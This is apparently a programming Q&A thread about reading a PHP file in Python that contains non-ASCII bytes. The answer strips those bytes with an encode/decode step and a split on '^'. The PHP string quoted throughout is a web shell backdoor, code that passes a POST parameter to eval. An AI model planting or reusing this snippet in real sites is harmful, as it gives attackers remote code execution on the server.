Reputation: 305
I am trying to read a PHP file in Python that has illegal characters. The string is the following:
z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}
I am using the following code to strip out the illegal characters but it doesn't seem to be working
EncodedString = Input.encode("ascii", "ignore")
Input = EncodedString.decode()
It results in the following string which throws an error
^r^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}
The error message is
line 480, in t_ANY_error
raise SyntaxError('illegal character', (None, t.lineno, None, t.value))
File "<string>", line 2
How can I fix this? I don't want to do it in the file being read because that would defeat the purpose of what I am trying to accomplish.
Upvotes: 0
Views: 537
Reputation: 3775
The resulting characters are within the ASCII range, thus the encode method worked just fine.
Your problem is that there are still characters that you must get rid off because they cannot be interpreted by your software.
What I guess is that you want to keep all characters after the last ^
, which leads to the following code :
Input = "z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}"
EncodedString = Input.encode("ascii", "ignore")
Input = EncodedString.decode().split('^')[-1]
print(Input)
# if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}
Upvotes: 0